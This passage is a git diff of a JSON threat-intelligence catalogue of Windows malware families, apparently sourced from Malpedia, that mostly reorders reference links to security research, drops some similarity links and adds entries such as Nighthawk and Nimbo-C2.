2005 Belarusian file infector virus . The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\" The program is a Windows application (exe file). Written in Delphi . The size of the original malicious file is 41,472 bytes . This file virus is the type of virus that is no longer popular at present.", + "description": "Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word \"nesta\" meaning \"something.\"", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html", "https://www.virusradar.com/en/Win32_Neshta.A/description" ], "synonyms": [], @@ -33492,11 +35329,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg", - "https://youtu.be/8hJyLkLHH8Q?t=1208", "https://youtu.be/_kzFNQySEMw?t=789", "https://www.documentcloud.org/documents/4834259-Park-Jin-Hyok-Complaint.html", - "https://content.fireeye.com/apt/rpt-apt38", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf", + "https://youtu.be/8hJyLkLHH8Q?t=1208", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [], "type": [] @@ -33535,9 +35372,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", - "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/" ], "synonyms": [ "Neteagle_Scout", @@ -33545,15 +35382,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "0ee08ab5-140c-44c3-9b0a-4a352500b14e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", "value": "NETEAGLE" }, @@ -33562,13 +35390,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", "https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf", + "https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users", "https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/", - "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/", "https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/", - "https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users" + "https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/" ], "synonyms": [], "type": [] @@ -33620,17 +35448,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://asec.ahnlab.com/en/45312/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", "https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/", - "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", - "http://www.netsupportmanager.com/index.asp", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", "https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/", + "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "https://www.trendmicro.com/en_us/research/23/c/new-opcjacker-malware-distributed-via-fake-vpn-malvertising.html", "https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html" + "http://www.netsupportmanager.com/index.asp" ], "synonyms": [ "NetSupport" @@ -33645,8 +35475,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler", - "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", "https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", + "https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" ], "synonyms": [ @@ -33654,15 +35485,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", "value": "NetTraveler" }, @@ -33671,51 +35493,57 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire", - "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", - "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", - "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", - "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.circl.lu/pub/tr-23/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", - "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", - "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", - "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", - "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://community.riskiq.com/article/24759ad2", - "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.youtube.com/watch?v=TeQdZxP0RYY", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", "https://news.drweb.ru/show/?i=13281&c=23", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA", + "https://www.youtube.com/watch?v=TeQdZxP0RYY", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/" + "https://community.riskiq.com/article/24759ad2", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html", + "https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://lmntrix.com/lab/analysis-of-netwire-rat/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://www.circl.lu/pub/tr-23/", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.theregister.com/2023/03/10/fbi_netwire_seizure/", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/", + "https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/view", + "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", + "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html", + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ "NetWeird", @@ -33732,22 +35560,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron", - "https://www.ncsc.gov.uk/alerts/turla-group-malware", "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.ncsc.gov.uk/alerts/turla-group-malware", "https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5c2eeaec-25e3-11e8-9d28-7f64aba5b173", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "101c2c0e-c082-4b5a-b820-2da789e839d9", "value": "Neuron" }, @@ -33756,19 +35575,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", - "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/", - "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html", - "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", - "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", - "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", - "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", "https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/", - "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", + "https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet", + "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex", + "http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/", + "http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html", "http://blog.ptsecurity.com/2019/08/finding-neutrino.html", - "https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex" + "https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22", + "https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/", + "https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html", + "https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html", + "https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/" ], "synonyms": [ "Kasidet" @@ -33809,12 +35628,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", + "https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html", "https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6" ], "synonyms": [], @@ -33841,8 +35660,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings", - "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/" ], "synonyms": [], @@ -33861,15 +35680,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "5abc6792-be17-48ee-a765-29cffa4242ee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1d32e7c3-840e-4247-b28b-818cb1c4ae7c", "value": "NewsReels" }, @@ -33878,25 +35688,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", "http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/" + "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" ], "synonyms": [ "CT" ], "type": [] }, - "related": [ - { - "dest-uuid": "c5e3766c-9527-47c3-94db-f10de2c56248", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ec50a75e-81f0-48b3-b1df-215eac646421", "value": "NewCT" }, @@ -33932,8 +35733,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb", - "https://research.checkpoint.com/ramnits-network-proxy-servers/", - "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html" + "https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html", + "https://research.checkpoint.com/ramnits-network-proxy-servers/" ], "synonyms": [ "Grobios" @@ -33970,19 +35771,36 @@ "uuid": "5a998606-a9a9-42ad-affb-9be37e11ec25", "value": "Nibiru" }, + { + "description": "C2 framework.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk", + "https://github.com/struppigel/hedgehog-tools/blob/main/nighthawk_str_decoder.py", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py", + "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice", + "https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c8b9aa40-9c55-4283-851c-635673f87182", + "value": "Nighthawk" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", - "https://twitter.com/cglyer/status/1480742363991580674", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://twitter.com/cglyer/status/1480734487000453121", "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", + "https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/", "https://www.youtube.com/watch?v=Yzt_zOO8pDM", "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", - "https://twitter.com/cglyer/status/1480734487000453121" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [ "Night Sky" @@ -34006,6 +35824,19 @@ "uuid": "b52a6512-7b0c-431a-8680-93f12921ba46", "value": "NimbleMamba " }, + { + "description": "According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 only. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2", + "https://github.com/itaymigdal/Nimbo-C2" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bda7efa0-e08d-453e-95d4-9307c5104a69", + "value": "Nimbo-C2" + }, { "description": "Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.", "meta": { @@ -34052,6 +35883,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol", "https://en.wikipedia.org/wiki/Nitol_botnet", "https://krebsonsecurity.com/tag/nitol/", + "https://asec.ahnlab.com/en/44504/", "https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/" ], "synonyms": [], @@ -34065,10 +35897,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro", - "https://twitter.com/malwrhunterteam/status/1430616882231578624", - "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://github.com/nightfallgt/nitro-ransomware" + "https://github.com/nightfallgt/nitro-ransomware", + "https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/", + "https://twitter.com/malwrhunterteam/status/1430616882231578624" ], "synonyms": [ "Hydra" @@ -34109,84 +35941,81 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control", - "https://www.4hou.com/posts/VoPM", - "https://asec.ahnlab.com/1369", - "https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", - "https://ti.360.net/blog/articles/analysis-of-apt-c-27/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://blog.talosintelligence.com/2021/07/sidecopy.html", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", - "https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf", + "https://attack.mitre.org/groups/G0096", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://forensicitguy.github.io/njrat-installed-from-msi/", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", - "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://labs.k7computing.com/?p=21904", - "https://blog.reversinglabs.com/blog/rats-in-the-library", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", "https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g", "https://twitter.com/ESETresearch/status/1449132020613922828", - "https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/", - "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://intel471.com/blog/privateloader-malware", - "https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf", - 